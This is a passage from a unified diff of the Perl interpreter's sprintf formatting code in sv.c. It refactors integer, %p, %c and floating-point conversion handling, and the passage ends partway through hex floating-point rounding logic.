 		    elen = sizeof nullstr - 1;
@@ -12075,15 +12314,100 @@
 	    /* INTEGERS */
 
 	case 'p':
-            if (infnan) {
-                goto floating_point;
+	    if (alt)
+		goto unknown;
+
+            /* %p extensions:
+             *
+             * "%...p" is normally treated like "%...x", except that the
+             * number to print is the SV's address (or a pointer address
+             * for C-ish sprintf).
+             *
+             * However, the C-ish sprintf variant allows a few special
+             * extensions. These are currently:
+             *
+             * %-p       (SVf)  Like %s, but gets the string from an SV*
+             *                  arg rather than a char* arg.
+             *                  (This was previously %_).
+             *
+             * %-<num>p         Ditto but like %.<num>s (i.e. num is max width)
+             *
+             * %2p       (HEKf) Like %s, but using the key string in a HEK
+             *
+             * %3p       (HEKf256) Ditto but like %.256s
+             *
+             * %d%lu%4p  (UTF8f) A utf8 string. Consumes 3 args:
+             *                       (cBOOL(utf8), len, string_buf).
+             *                   It's handled by the "case 'd'" branch
+             *                   rather than here.
+             *
+             * %<num>p   where num is 1 or > 4: reserved for future
+             *           extensions. Warns, but then is treated as a
+             *           general %p (print hex address) format.
+             */
+
+            if (   args
+                && !intsize
+                && !fill
+                && !plus
+                && !has_precis
+                    /* not %*p or %*1$p - any width was explicit */
+                && q[-2] != '*'
+                && q[-2] != '$'
+            ) {
+                if (left) {			/* %-p (SVf), %-NNNp */
+                    if (width) {
+                        precis = width;
+                        has_precis = TRUE;
+                    }
+                    argsv = MUTABLE_SV(va_arg(*args, void*));
+                    eptr = SvPV_const(argsv, elen);
+                    if (DO_UTF8(argsv))
+                        is_utf8 = TRUE;
+                    width = 0;
+                    goto string;
+                }
+                else if (width == 2 || width == 3) {	/* HEKf, HEKf256 */
+                    HEK * const hek = va_arg(*args, HEK *);
+                    eptr = HEK_KEY(hek);
+                    elen = HEK_LEN(hek);
+                    if (HEK_UTF8(hek))
+                        is_utf8 = TRUE;
+                    if (width == 3) {
+                        precis = 256;
+                        has_precis = TRUE;
+                    }
+                    width = 0;
+                    goto string;
+                }
+                else if (width) {
+                    Perl_ck_warner_d(aTHX_ packWARN(WARN_INTERNAL),
+                         "internal %%<num>p might conflict with future printf extensions");
+                }
             }
-	    if (alt || vectorize)
-		goto unknown;
+
+            /* treat as normal %...p */
+
 	    uv = PTR2UV(args ? va_arg(*args, void*) : argsv);
 	    base = 16;
-	    goto integer;
+	    goto do_integer;
 
+	case 'c':
+            /* Ignore any size specifiers, since they're not documented as
+             * being allowed for %c (ideally we should warn on e.g. '%hc').
+             * Setting a default intsize, along with a positive
+             * (which signals unsigned) base, causes, for C-ish use, the
+             * va_arg to be interpreted as as unsigned int, when it's
+             * actually signed, which will convert -ve values to high +ve
+             * values. Note that unlike the libc %c, values > 255 will
+             * convert to high unicode points rather than being truncated
+             * to 8 bits. For perlish use, it will do SvUV(argsv), which
+             * will again convert -ve args to high -ve values.
+             */
+            intsize = 0;
+            base = 1; /* special value that indicates we're doing a 'c' */
+            goto get_int_arg_val;
+
 	case 'D':
 #ifdef IV_IS_QUAD
 	    intsize = 'q';
@@ -12090,81 +12414,43 @@
 #else
 	    intsize = 'l';
 #endif
-	    /* FALLTHROUGH */
+            base = -10;
+            goto get_int_arg_val;
+
 	case 'd':
-	case 'i':
-            if (infnan) {
-                goto floating_point;
-            }
-	    if (vectorize) {
-		STRLEN ulen;
-		if (!veclen)
-                    goto donevalidconversion;
-		if (vec_utf8)
-		    uv = utf8n_to_uvchr(vecstr, veclen, &ulen,
-					UTF8_ALLOW_ANYUV);
-		else {
-		    uv = *vecstr;
-		    ulen = 1;
-		}
-		vecstr += ulen;
-		veclen -= ulen;
-		if (plus)
-		     esignbuf[esignlen++] = plus;
+            /* probably just a plain %d, but it might be the start of the
+             * special UTF8f format, which usually looks something like
+             * "%d%lu%4p" (the lu may vary by platform)
+             */
+            assert((UTF8f)[0] == 'd');
+            assert((UTF8f)[1] == '%');
+
+	     if (   args              /* UTF8f only valid for C-ish sprintf */
+                 && q == fmtstart + 1 /* plain %d, not %....d */
+                 && patend >= fmtstart + sizeof(UTF8f) - 1 /* long enough */
+                 && *q == '%'
+                 && strnEQ(q + 1, UTF8f + 2, sizeof(UTF8f) - 3))
+            {
+		/* The argument has already gone through cBOOL, so the cast
+		   is safe. */
+		is_utf8 = (bool)va_arg(*args, int);
+		elen = va_arg(*args, UV);
+                /* if utf8 length is larger than 0x7ffff..., then it might
+                 * have been a signed value that wrapped */
+                if (elen  > ((~(STRLEN)0) >> 1)) {
+                    assert(0); /* in DEBUGGING build we want to crash */
+                    elen = 0; /* otherwise we want to treat this as an empty string */
+                }
+		eptr = va_arg(*args, char *);
+		q += sizeof(UTF8f) - 2;
+		goto string;
 	    }
-	    else if (args) {
-		switch (intsize) {
-		case 'c':	iv = (char)va_arg(*args, int); break;
-		case 'h':	iv = (short)va_arg(*args, int); break;
-		case 'l':	iv = va_arg(*args, long); break;
-		case 'V':	iv = va_arg(*args, IV); break;
-		case 'z':	iv = va_arg(*args, SSize_t); break;
-#ifdef HAS_PTRDIFF_T
-		case 't':	iv = va_arg(*args, ptrdiff_t); break;
-#endif
-		default:	iv = va_arg(*args, int); break;
-#ifdef I_STDINT
-		case 'j':	iv = va_arg(*args, intmax_t); break;
-#endif
-		case 'q':
-#if IVSIZE >= 8
-				iv = va_arg(*args, Quad_t); break;
-#else
-				goto unknown;
-#endif
-		}
-	    }
-	    else {
-		IV tiv = SvIV_nomg(argsv); /* work around GCC bug #13488 */
-		switch (intsize) {
-		case 'c':	iv = (char)tiv; break;
-		case 'h':	iv = (short)tiv; break;
-		case 'l':	iv = (long)tiv; break;
-		case 'V':
-		default:	iv = tiv; break;
-		case 'q':
-#if IVSIZE >= 8
-				iv = (Quad_t)tiv; break;
-#else
-				goto unknown;
-#endif
-		}
-	    }
-	    if ( !vectorize )	/* we already set uv above */
-	    {
-		if (iv >= 0) {
-		    uv = iv;
-		    if (plus)
-			esignbuf[esignlen++] = plus;
-		}
-		else {
-		    uv = (iv == IV_MIN) ? (UV)iv : (UV)(-iv);
-		    esignbuf[esignlen++] = '-';
-		}
-	    }
-	    base = 10;
-	    goto integer;
 
+	    /* FALLTHROUGH */
+	case 'i':
+            base = -10;
+            goto get_int_arg_val;
+
 	case 'U':
 #ifdef IV_IS_QUAD
 	    intsize = 'q';
@@ -12174,12 +12460,12 @@
 	    /* FALLTHROUGH */
 	case 'u':
 	    base = 10;
-	    goto uns_integer;
+	    goto get_int_arg_val;
 
 	case 'B':
 	case 'b':
 	    base = 2;
-	    goto uns_integer;
+	    goto get_int_arg_val;
 
 	case 'O':
 #ifdef IV_IS_QUAD
@@ -12190,21 +12476,53 @@
 	    /* FALLTHROUGH */
 	case 'o':
 	    base = 8;
-	    goto uns_integer;
+	    goto get_int_arg_val;
 
 	case 'X':
 	case 'x':
 	    base = 16;
 
-	uns_integer:
-            if (infnan) {
-                goto floating_point;
-            }
+          get_int_arg_val:
+
 	    if (vectorize) {
 		STRLEN ulen;
-	vector:
+                SV *vecsv;
+
+                if (base < 0) {
+                    base = -base;
+                    if (plus)
+                         esignbuf[esignlen++] = plus;
+                }
+
+                /* initialise the vector string to iterate over */
+
+                vecsv = args ? va_arg(*args, SV*) : argsv;
+
+                /* if this is a version object, we need to convert
+                 * back into v-string notation and then let the
+                 * vectorize happen normally
+                 */
+                if (sv_isobject(vecsv) && sv_derived_from(vecsv, "version")) {
+                    if ( hv_existss(MUTABLE_HV(SvRV(vecsv)), "alpha") ) {
+                        Perl_ck_warner_d(aTHX_ packWARN(WARN_PRINTF),
+                        "vector argument not supported with alpha versions");
+                        vecsv = &PL_sv_no;
+                    }
+                    else {
+                        vecstr = (U8*)SvPV_const(vecsv,veclen);
+                        vecsv = sv_newmortal();
+                        scan_vstring((char *)vecstr, (char *)vecstr + veclen,
+                                     vecsv);
+                    }
+                }
+                vecstr = (U8*)SvPV_const(vecsv, veclen);
+                vec_utf8 = DO_UTF8(vecsv);
+
+              /* This is the re-entry point for when we're iterating
+               * over the individual characters of a vector arg */
+	      vector:
 		if (!veclen)
-                    goto donevalidconversion;
+                    goto done_valid_conversion;
 		if (vec_utf8)
 		    uv = utf8n_to_uvchr(vecstr, veclen, &ulen,
 					UTF8_ALLOW_ANYUV);
@@ -12215,64 +12533,141 @@
 		vecstr += ulen;
 		veclen -= ulen;
 	    }
-	    else if (args) {
-		switch (intsize) {
-		case 'c':  uv = (unsigned char)va_arg(*args, unsigned); break;
-		case 'h':  uv = (unsigned short)va_arg(*args, unsigned); break;
-		case 'l':  uv = va_arg(*args, unsigned long); break;
-		case 'V':  uv = va_arg(*args, UV); break;
-		case 'z':  uv = va_arg(*args, Size_t); break;
+	    else {
+                /* test arg for inf/nan. This can trigger an unwanted
+                 * 'str' overload, so manually force 'num' overload first
+                 * if necessary */
+                if (argsv) {
+                    SvGETMAGIC(argsv);
+                    if (UNLIKELY(SvAMAGIC(argsv)))
+                        argsv = sv_2num(argsv);
+                    if (UNLIKELY(isinfnansv(argsv)))
+                        goto handle_infnan_argsv;
+                }
+
+                if (base < 0) {
+                    /* signed int type */
+                    IV iv;
+                    base = -base;
+                    if (args) {
+                        switch (intsize) {
+                        case 'c':  iv = (char)va_arg(*args, int);  break;
+                        case 'h':  iv = (short)va_arg(*args, int); break;
+                        case 'l':  iv = va_arg(*args, long);       break;
+                        case 'V':  iv = va_arg(*args, IV);         break;
+                        case 'z':  iv = va_arg(*args, SSize_t);    break;
 #ifdef HAS_PTRDIFF_T
-	        case 't':  uv = va_arg(*args, ptrdiff_t); break; /* will sign extend, but there is no uptrdiff_t, so oh well */
+                        case 't':  iv = va_arg(*args, ptrdiff_t);  break;
 #endif
-#ifdef I_STDINT
-		case 'j':  uv = va_arg(*args, uintmax_t); break;
+                        default:   iv = va_arg(*args, int);        break;
+                        case 'j':  iv = va_arg(*args, PERL_INTMAX_T); break;
+                        case 'q':
+#if IVSIZE >= 8
+                                   iv = va_arg(*args, Quad_t);     break;
+#else
+                                   goto unknown;
 #endif
-		default:   uv = va_arg(*args, unsigned); break;
-		case 'q':
+                        }
+                    }
+                    else {
+                        /* assign to tiv then cast to iv to work around
+                         * 2003 GCC cast bug (gnu.org bugzilla #13488) */
+                        IV tiv = SvIV_nomg(argsv);
+                        switch (intsize) {
+                        case 'c':  iv = (char)tiv;   break;
+                        case 'h':  iv = (short)tiv;  break;
+                        case 'l':  iv = (long)tiv;   break;
+                        case 'V':
+                        default:   iv = tiv;         break;
+                        case 'q':
 #if IVSIZE >= 8
-			   uv = va_arg(*args, Uquad_t); break;
+                                   iv = (Quad_t)tiv; break;
 #else
-			   goto unknown;
+                                   goto unknown;
 #endif
-		}
-	    }
-	    else {
-		UV tuv = SvUV_nomg(argsv); /* work around GCC bug #13488 */
-		switch (intsize) {
-		case 'c':	uv = (unsigned char)tuv; break;
-		case 'h':	uv = (unsigned short)tuv; break;
-		case 'l':	uv = (unsigned long)tuv; break;
-		case 'V':
-		default:	uv = tuv; break;
-		case 'q':
+                        }
+                    }
+
+                    /* now convert iv to uv */
+                    if (iv >= 0) {
+                        uv = iv;
+                        if (plus)
+                            esignbuf[esignlen++] = plus;
+                    }
+                    else {
+                        uv = (iv == IV_MIN) ? (UV)iv : (UV)(-iv);
+                        esignbuf[esignlen++] = '-';
+                    }
+                }
+                else {
+                    /* unsigned int type */
+                    if (args) {
+                        switch (intsize) {
+                        case 'c': uv = (unsigned char)va_arg(*args, unsigned);
+                                  break;
+                        case 'h': uv = (unsigned short)va_arg(*args, unsigned);
+                                  break;
+                        case 'l': uv = va_arg(*args, unsigned long); break;
+                        case 'V': uv = va_arg(*args, UV);            break;
+                        case 'z': uv = va_arg(*args, Size_t);        break;
+#ifdef HAS_PTRDIFF_T
+                                  /* will sign extend, but there is no
+                                   * uptrdiff_t, so oh well */
+                        case 't': uv = va_arg(*args, ptrdiff_t);     break;
+#endif
+                        case 'j': uv = va_arg(*args, PERL_UINTMAX_T); break;
+                        default:  uv = va_arg(*args, unsigned);      break;
+                        case 'q':
 #if IVSIZE >= 8
-				uv = (Uquad_t)tuv; break;
+                                  uv = va_arg(*args, Uquad_t);       break;
 #else
-				goto unknown;
+                                  goto unknown;
 #endif
-		}
-	    }
+                        }
+                    }
+                    else {
+                        /* assign to tiv then cast to iv to work around
+                         * 2003 GCC cast bug (gnu.org bugzilla #13488) */
+                        UV tuv = SvUV_nomg(argsv);
+                        switch (intsize) {
+                        case 'c': uv = (unsigned char)tuv;  break;
+                        case 'h': uv = (unsigned short)tuv; break;
+                        case 'l': uv = (unsigned long)tuv;  break;
+                        case 'V':
+                        default:  uv = tuv;                 break;
+                        case 'q':
+#if IVSIZE >= 8
+                                  uv = (Uquad_t)tuv;        break;
+#else
+                                  goto unknown;
+#endif
+                        }
+                    }
+                }
+            }
 
-	integer:
+	do_integer:
 	    {
 		char *ptr = ebuf + sizeof ebuf;
-		bool tempalt = uv ? alt : FALSE; /* Vectors can't change alt */
                 unsigned dig;
 		zeros = 0;
 
 		switch (base) {
 		case 16:
-		    p = (char *)((c == 'X') ? PL_hexdigit + 16 : PL_hexdigit);
-		    do {
-			dig = uv & 15;
-			*--ptr = p[dig];
-		    } while (uv >>= 4);
-		    if (tempalt) {
-			esignbuf[esignlen++] = '0';
-			esignbuf[esignlen++] = c;  /* 'x' or 'X' */
-		    }
-		    break;
+                    {
+		    const char * const p =
+                            (c == 'X') ? PL_hexdigit + 16 : PL_hexdigit;
+
+                        do {
+                            dig = uv & 15;
+                            *--ptr = p[dig];
+                        } while (uv >>= 4);
+                        if (alt && *ptr != '0') {
+                            esignbuf[esignlen++] = '0';
+                            esignbuf[esignlen++] = c;  /* 'x' or 'X' */
+                        }
+                        break;
+                    }
 		case 8:
 		    do {
 			dig = uv & 7;
@@ -12286,11 +12681,33 @@
 			dig = uv & 1;
 			*--ptr = '0' + dig;
 		    } while (uv >>= 1);
-		    if (tempalt) {
+		    if (alt && *ptr != '0') {
 			esignbuf[esignlen++] = '0';
-			esignbuf[esignlen++] = c;
+			esignbuf[esignlen++] = c; /* 'b' or 'B' */
 		    }
 		    break;
+
+		case 1:
+                    /* special-case: base 1 indicates a 'c' format:
+                     * we use the common code for extracting a uv,
+                     * but handle that value differently here than
+                     * all the other int types */
+                    if ((uv > 255 ||
+                         (!UVCHR_IS_INVARIANT(uv) && SvUTF8(sv)))
+                        && !IN_BYTES)
+                    {
+                        assert(sizeof(ebuf) >= UTF8_MAXBYTES + 1);
+                        eptr = ebuf;
+                        elen = uvchr_to_utf8((U8*)eptr, uv) - (U8*)ebuf;
+                        is_utf8 = TRUE;
+                    }
+                    else {
+                        eptr = ebuf;
+                        ebuf[0] = (char)uv;
+                        elen = 1;
+                    }
+                    goto string;
+
 		default:		/* it had better be ten or less */
 		    do {
 			dig = uv % base;
@@ -12307,9 +12724,8 @@
 			     && !(base == 8 && alt)) /* "%#.0o" prints "0" */
 			elen = 0;
 
-		/* a precision nullifies the 0 flag. */
-		    if (fill == '0')
-			fill = ' ';
+                    /* a precision nullifies the 0 flag. */
+                    fill = FALSE;
 		}
 	    }
 	    break;
@@ -12316,8 +12732,6 @@
 
 	    /* FLOATING POINT */
 
-        floating_point:
-
 	case 'F':
 	    c = 'f';		/* maybe %F isn't supported here */
 	    /* FALLTHROUGH */
@@ -12325,9 +12739,14 @@
 	case 'f':
 	case 'g': case 'G':
 	case 'a': case 'A':
-	    if (vectorize)
-		goto unknown;
 
+        {
+            STRLEN float_need; /* what PL_efloatsize needs to become */
+            bool hexfp;        /* hexadecimal floating point? */
+
+            vcatpvfn_long_double_t fv;
+            NV                     nv;
+
 	    /* This is evil, but floating point is even more evil */
 
 	    /* for SV-style calling, we can only get NV
@@ -12383,7 +12802,7 @@
                     nv = fv;
                 } else {
                     nv = va_arg(*args, double);
-                    NV_TO_FV(nv, fv);
+                    VCATPVFN_NV_TO_FV(nv, fv);
                 }
 #else
                 nv = va_arg(*args, double);
@@ -12392,456 +12811,234 @@
             }
             else
             {
-                if (!infnan) SvGETMAGIC(argsv);
+                SvGETMAGIC(argsv);
+                /* we jump here if an int-ish format encountered an
+                 * infinite/Nan argsv. After setting nv/fv, it falls
+                 * into the isinfnan block which follows */
+              handle_infnan_argsv:
                 nv = SvNV_nomg(argsv);
-                NV_TO_FV(nv, fv);
+                VCATPVFN_NV_TO_FV(nv, fv);
             }
 
-	    need = 0;
-	    /* frexp() (or frexpl) has some unspecified behaviour for
-             * nan/inf/-inf, so let's avoid calling that on non-finites. */
-	    if (isALPHA_FOLD_NE(c, 'e') && FV_ISFINITE(fv)) {
-                i = PERL_INT_MIN;
-                (void)Perl_frexp((NV)fv, &i);
-                if (i == PERL_INT_MIN)
-                    Perl_die(aTHX_ "panic: frexp: %" FV_GF, fv);
-                /* Do not set hexfp earlier since we want to printf
-                 * Inf/NaN for Inf/NaN, not their hexfp. */
-                hexfp = isALPHA_FOLD_EQ(c, 'a');
-                if (UNLIKELY(hexfp)) {
-                    /* This seriously overshoots in most cases, but
-                     * better the undershooting.  Firstly, all bytes
-                     * of the NV are not mantissa, some of them are
-                     * exponent.  Secondly, for the reasonably common
-                     * long doubles case, the "80-bit extended", two
-                     * or six bytes of the NV are unused. */
-                    need +=
-                        (fv < 0) ? 1 : 0 + /* possible unary minus */
-                        2 + /* "0x" */
-                        1 + /* the very unlikely carry */
-                        1 + /* "1" */
-                        1 + /* "." */
-                        2 * NVSIZE + /* 2 hexdigits for each byte */
-                        2 + /* "p+" */
-                        6 + /* exponent: sign, plus up to 16383 (quad fp) */
-                        1;   /* \0 */
-#ifdef LONGDOUBLE_DOUBLEDOUBLE
-                    /* However, for the "double double", we need more.
-                     * Since each double has their own exponent, the
-                     * doubles may float (haha) rather far from each
-                     * other, and the number of required bits is much
-                     * larger, up to total of DOUBLEDOUBLE_MAXBITS bits.
-                     * See the definition of DOUBLEDOUBLE_MAXBITS.
-                     *
-                     * Need 2 hexdigits for each byte. */
-                    need += (DOUBLEDOUBLE_MAXBITS/8 + 1) * 2;
-                    /* the size for the exponent already added */
-#endif
-#ifdef USE_LOCALE_NUMERIC
-                        STORE_LC_NUMERIC_SET_TO_NEEDED();
-                        if (PL_numeric_radix_sv && IN_LC(LC_NUMERIC))
-                            need += SvLEN(PL_numeric_radix_sv);
-                        RESTORE_LC_NUMERIC();
-#endif
-                }
-                else if (i > 0) {
-                    need = BIT_DIGITS(i);
-                } /* if i < 0, the number of digits is hard to predict. */
-	    }
+            if (Perl_isinfnan(nv)) {
+                if (c == 'c')
+                    Perl_croak(aTHX_ "Cannot printf %" NVgf " with '%c'",
+                           SvNV_nomg(argsv), (int)c);
 
-            {
-                STRLEN pr = has_precis ? precis : 6; /* known default */
-                if (need >= ((STRLEN)~0) - pr)
-                    croak_memory_wrap();
-                need += pr;
+                elen = S_infnan_2pv(nv, ebuf, sizeof(ebuf), plus);
+                assert(elen);
+                eptr = ebuf;
+                zeros     = 0;
+                esignlen  = 0;
+                dotstrlen = 0;
+                break;
             }
 
-	    if (need < width)
-		need = width;
+            /* special-case "%.0f" */
+            if (   c == 'f'
+                && !precis
+                && has_precis
+                && !(width || left || plus || alt)
+                && !fill
+                && intsize != 'q'
+                && ((eptr = F0convert(nv, ebuf + sizeof ebuf, &elen)))
+            )
+                goto float_concat;
 
-#ifdef HAS_LDBL_SPRINTF_BUG
-	    /* This is to try to fix a bug with irix/nonstop-ux/powerux and
-	       with sfio - Allen <allens at cpan.org> */
+            /* Determine the buffer size needed for the various
+             * floating-point formats.
+             *
+             * The basic possibilities are:
+             *
+             *               <---P--->
+             *    %f 1111111.123456789
+             *    %e       1.111111123e+06
+             *    %a     0x1.0f4471f9bp+20
+             *    %g        1111111.12
+             *    %g        1.11111112e+15
+             *
+             * where P is the value of the precision in the format, or 6
+             * if not specified. Note the two possible output formats of
+             * %g; in both cases the number of significant digits is <=
+             * precision.
+             *
+             * For most of the format types the maximum buffer size needed
+             * is precision, plus: any leading 1 or 0x1, the radix
+             * point, and an exponent.  The difficult one is %f: for a
+             * large positive exponent it can have many leading digits,
+             * which needs to be calculated specially. Also %a is slightly
+             * different in that in the absence of a specified precision,
+             * it uses as many digits as necessary to distinguish
+             * different values.
+             *
+             * First, here are the constant bits. For ease of calculation
+             * we over-estimate the needed buffer size, for example by
+             * assuming all formats have an exponent and a leading 0x1.
+             *
+             * Also for production use, add a little extra overhead for
+             * safety's sake. Under debugging don't, as it means we're
+             * more likely to quickly spot issues during development.
+             */
 
-#  ifdef DBL_MAX
-#    define MY_DBL_MAX DBL_MAX
-#  else /* XXX guessing! HUGE_VAL may be defined as infinity, so not using */
-#    if DOUBLESIZE >= 8
-#      define MY_DBL_MAX 1.7976931348623157E+308L
-#    else
-#      define MY_DBL_MAX 3.40282347E+38L
-#    endif
-#  endif
-
-#  ifdef HAS_LDBL_SPRINTF_BUG_LESS1 /* only between -1L & 1L - Allen */
-#    define MY_DBL_MAX_BUG 1L
-#  else
-#    define MY_DBL_MAX_BUG MY_DBL_MAX
-#  endif
-
-#  ifdef DBL_MIN
-#    define MY_DBL_MIN DBL_MIN
-#  else  /* XXX guessing! -Allen */
-#    if DOUBLESIZE >= 8
-#      define MY_DBL_MIN 2.2250738585072014E-308L
-#    else
-#      define MY_DBL_MIN 1.17549435E-38L
-#    endif
-#  endif
-
-	    if ((intsize == 'q') && (c == 'f') &&
-		((fv < MY_DBL_MAX_BUG) && (fv > -MY_DBL_MAX_BUG)) &&
-		(need < DBL_DIG)) {
-		/* it's going to be short enough that
-		 * long double precision is not needed */
-
-		if ((fv <= 0L) && (fv >= -0L))
-		    fix_ldbl_sprintf_bug = TRUE; /* 0 is 0 - easiest */
-		else {
-		    /* would use Perl_fp_class as a double-check but not
-		     * functional on IRIX - see perl.h comments */
-
-		    if ((fv >= MY_DBL_MIN) || (fv <= -MY_DBL_MIN)) {
-			/* It's within the range that a double can represent */
-#if defined(DBL_MAX) && !defined(DBL_MIN)
-			if ((fv >= ((long double)1/DBL_MAX)) ||
-			    (fv <= (-(long double)1/DBL_MAX)))
+            float_need =     1  /* possible unary minus */
+                          +  4  /* "0x1" plus very unlikely carry */
+                          +  1  /* default radix point '.' */
+                          +  2  /* "e-", "p+" etc */
+                          +  6  /* exponent: up to 16383 (quad fp) */
+#ifndef DEBUGGING
+                          + 20  /* safety net */
 #endif
-			fix_ldbl_sprintf_bug = TRUE;
-		    }
-		}
-		if (fix_ldbl_sprintf_bug == TRUE) {
-		    double temp;
+                          +  1; /* \0 */
 
-		    intsize = 0;
-		    temp = (double)fv;
-		    fv = (NV)temp;
-		}
-	    }
 
-#  undef MY_DBL_MAX
-#  undef MY_DBL_MAX_BUG
-#  undef MY_DBL_MIN
+            /* determine the radix point len, e.g. length(".") in "1.2" */
+#ifdef USE_LOCALE_NUMERIC
+            /* note that we may either explicitly use PL_numeric_radix_sv
+             * below, or implicitly, via an snprintf() variant.
+             * Note also things like ps_AF.utf8 which has
+             * "\N{ARABIC DECIMAL SEPARATOR} as a radix point */
+            if (!lc_numeric_set) {
+                /* only set once and reuse in-locale value on subsequent
+                 * iterations.
+                 * XXX what happens if we die in an eval?
+                 */
+                STORE_LC_NUMERIC_SET_TO_NEEDED();
+                lc_numeric_set = TRUE;
+            }
 
-#endif /* HAS_LDBL_SPRINTF_BUG */
+            if (IN_LC(LC_NUMERIC)) {
+                /* this can't wrap unless PL_numeric_radix_sv is a string
+                 * consuming virtually all the 32-bit or 64-bit address
+                 * space
+                 */
+                float_need += (SvCUR(PL_numeric_radix_sv) - 1);
 
-            if (need >= ((STRLEN)~0) - 40)
-                croak_memory_wrap();
-	    need += 40; /* fudge factor */
-	    if (PL_efloatsize < need) {
-		Safefree(PL_efloatbuf);
-		PL_efloatsize = need;
-		Newx(PL_efloatbuf, PL_efloatsize, char);
-		PL_efloatbuf[0] = '\0';
-	    }
-
-	    if ( !(width || left || plus || alt) && fill != '0'
-		 && has_precis && intsize != 'q'	/* Shortcuts */
-                 && LIKELY(!Perl_isinfnan((NV)fv)) ) {
-		/* See earlier comment about buggy Gconvert when digits,
-		   aka precis is 0  */
-		if ( c == 'g' && precis ) {
-                    STORE_LC_NUMERIC_SET_TO_NEEDED();
-                    SNPRINTF_G(fv, PL_efloatbuf, PL_efloatsize, precis);
-		    /* May return an empty string for digits==0 */
-		    if (*PL_efloatbuf) {
-			elen = strlen(PL_efloatbuf);
-			goto float_converted;
-		    }
-		} else if ( c == 'f' && !precis ) {
-		    if ((eptr = F0convert(nv, ebuf + sizeof ebuf, &elen)))
-			break;
-		}
-	    }
-
-            if (UNLIKELY(hexfp)) {
-                /* Hexadecimal floating point. */
-                char* p = PL_efloatbuf;
-                U8 vhex[VHEX_SIZE];
-                U8* v = vhex; /* working pointer to vhex */
-                U8* vend; /* pointer to one beyond last digit of vhex */
-                U8* vfnz = NULL; /* first non-zero */
-                U8* vlnz = NULL; /* last non-zero */
-                U8* v0 = NULL; /* first output */
-                const bool lower = (c == 'a');
-                /* At output the values of vhex (up to vend) will
-                 * be mapped through the xdig to get the actual
-                 * human-readable xdigits. */
-                const char* xdig = PL_hexdigit;
-                int zerotail = 0; /* how many extra zeros to append */
-                int exponent = 0; /* exponent of the floating point input */
-                bool hexradix = FALSE; /* should we output the radix */
-                bool subnormal = FALSE; /* IEEE 754 subnormal/denormal */
-                bool negative = FALSE;
-
-                /* XXX: NaN, Inf -- though they are printed as "NaN" and "Inf".
-                 *
-                 * For example with denormals, (assuming the vanilla
-                 * 64-bit double): the exponent is zero. 1xp-1074 is
-                 * the smallest denormal and the smallest double, it
-                 * could be output also as 0x0.0000000000001p-1022 to
-                 * match its internal structure. */
-
-                vend = S_hextract(aTHX_ nv, &exponent, &subnormal, vhex, NULL);
-                S_hextract(aTHX_ nv, &exponent, &subnormal, vhex, vend);
-
-#if NVSIZE > DOUBLESIZE
-#  ifdef HEXTRACT_HAS_IMPLICIT_BIT
-                /* In this case there is an implicit bit,
-                 * and therefore the exponent is shifted by one. */
-                exponent--;
-#  else
-#   ifdef NV_X86_80_BIT
-                if (subnormal) {
-                    /* The subnormals of the x86-80 have a base exponent of -16382,
-                     * (while the physical exponent bits are zero) but the frexp()
-                     * returned the scientific-style floating exponent.  We want
-                     * to map the last one as:
-                     * -16831..-16384 -> -16382 (the last normal is 0x1p-16382)
-                     * -16835..-16388 -> -16384
-                     * since we want to keep the first hexdigit
-                     * as one of the [8421]. */
-                    exponent = -4 * ( (exponent + 1) / -4) - 2;
-                } else {
-                    exponent -= 4;
+                /* floating-point formats only get utf8 if the radix point
+                 * is utf8. All other characters in the string are < 128
+                 * and so can be safely appended to both a non-utf8 and utf8
+                 * string as-is.
+                 * Note that this will convert the output to utf8 even if
+                 * the radix point didn't get output.
+                 */
+                if (SvUTF8(PL_numeric_radix_sv) && !has_utf8) {
+                    sv_utf8_upgrade(sv);
+                    has_utf8 = TRUE;
                 }
-#   endif
-                /* TBD: other non-implicit-bit platforms than the x86-80. */
-#  endif
+            }
 #endif
 
-                negative = fv < 0 || Perl_signbit(nv);
-                if (negative)
-                    *p++ = '-';
-                else if (plus)
-                    *p++ = plus;
-                *p++ = '0';
-                if (lower) {
-                    *p++ = 'x';
-                }
-                else {
-                    *p++ = 'X';
-                    xdig += 16; /* Use uppercase hex. */
-                }
+            hexfp = FALSE;
 
-                /* Find the first non-zero xdigit. */
-                for (v = vhex; v < vend; v++) {
-                    if (*v) {
-                        vfnz = v;
-                        break;
-                    }
-                }
+	    if (isALPHA_FOLD_EQ(c, 'f')) {
+                /* Determine how many digits before the radix point
+                 * might be emitted.  frexp() (or frexpl) has some
+                 * unspecified behaviour for nan/inf/-inf, so lucky we've
+                 * already handled them above */
+                STRLEN digits;
+                int i = PERL_INT_MIN;
+                (void)Perl_frexp((NV)fv, &i);
+                if (i == PERL_INT_MIN)
+                    Perl_die(aTHX_ "panic: frexp: %" VCATPVFN_FV_GF, fv);
 
-                if (vfnz) {
-                    /* Find the last non-zero xdigit. */
-                    for (v = vend - 1; v >= vhex; v--) {
-                        if (*v) {
-                            vlnz = v;
-                            break;
-                        }
-                    }
-
-#if NVSIZE == DOUBLESIZE
-                    if (fv != 0.0)
-                        exponent--;
-#endif
-
-                    if (subnormal) {
-#ifndef NV_X86_80_BIT
-                      if (vfnz[0] > 1) {
-                        /* IEEE 754 subnormals (but not the x86 80-bit):
-                         * we want "normalize" the subnormal,
-			 * so we need to right shift the hex nybbles
-                         * so that the output of the subnormal starts
-                         * from the first true bit.  (Another, equally
-			 * valid, policy would be to dump the subnormal
-			 * nybbles as-is, to display the "physical" layout.) */
-                        int i, n;
-                        U8 *vshr;
-                        /* Find the ceil(log2(v[0])) of
-                         * the top non-zero nybble. */
-                        for (i = vfnz[0], n = 0; i > 1; i >>= 1, n++) { }
-                        assert(n < 4);
-                        vlnz[1] = 0;
-                        for (vshr = vlnz; vshr >= vfnz; vshr--) {
-                          vshr[1] |= (vshr[0] & (0xF >> (4 - n))) << (4 - n);
-                          vshr[0] >>= n;
-                        }
-                        if (vlnz[1]) {
-                          vlnz++;
-                        }
-                      }
-#endif
-                      v0 = vfnz;
-                    } else {
-                      v0 = vhex;
-                    }
-
-                    if (has_precis) {
-                        U8* ve = (subnormal ? vlnz + 1 : vend);
-                        SSize_t vn = ve - (subnormal ? vfnz : vhex);
-                        if ((SSize_t)(precis + 1) < vn) {
-                            bool overflow = FALSE;
-                            if (v0[precis + 1] < 0x8) {
-                                /* Round down, nothing to do. */
-                            } else if (v0[precis + 1] > 0x8) {
-                                /* Round up. */
-                                v0[precis]++;
-                                overflow = v0[precis] > 0xF;
-                                v0[precis] &= 0xF;
-                            } else { /* v0[precis] == 0x8 */
-                                /* Half-point: round towards the one
-                                 * with the even least-significant digit:
-                                 * 08 -> 0  88 -> 8
-                                 * 18 -> 2  98 -> a
